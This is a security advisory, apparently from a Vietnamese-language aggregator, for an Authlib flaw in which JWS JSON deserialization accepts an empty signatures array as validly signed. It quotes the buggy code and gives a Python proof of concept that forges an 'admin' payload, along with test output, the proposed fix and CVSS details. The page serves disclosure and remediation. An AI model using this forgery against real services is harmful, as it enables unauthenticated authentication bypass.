CVSS 9.1 CRITICAL Truy cập trái phép

Authlib: empty signatures validation in JWS JSON deserialization

Mã khác
GHSA-6v38-4h7w-rj9h
Công bố
Cập nhật
Lần đầu thấy
Nguồn
GitHub Advisory, OSV.dev

Mô tả

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified

is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.

Reproduction
import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.

Impact

Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.

What would fix it

In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938
proposes the same thing.

Điểm và phân loại

CVSS
9.1 CRITICAL v3.1
Nguồn điểm
GitHub Advisory
Mức độ (theo nguồn)
CRITICAL
EPSS
0.43%
CWE
CWE-347

Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Ảnh hưởng

Package Bản bị ảnh hưởng Bản đã sửa
pip authlib <= 1.8.0 1.9.0
pip authlib < 1.9.0 1.9.0

Vì sao được giữ

  • CVSS 9.1 >= 8.0

Loại tác động

Truy cập trái phép
CWE-347; từ khoá "authentication bypass"

Dữ liệu riêng của nguồn

OSV.dev · ID
GHSA-6v38-4h7w-rj9h

Tham khảo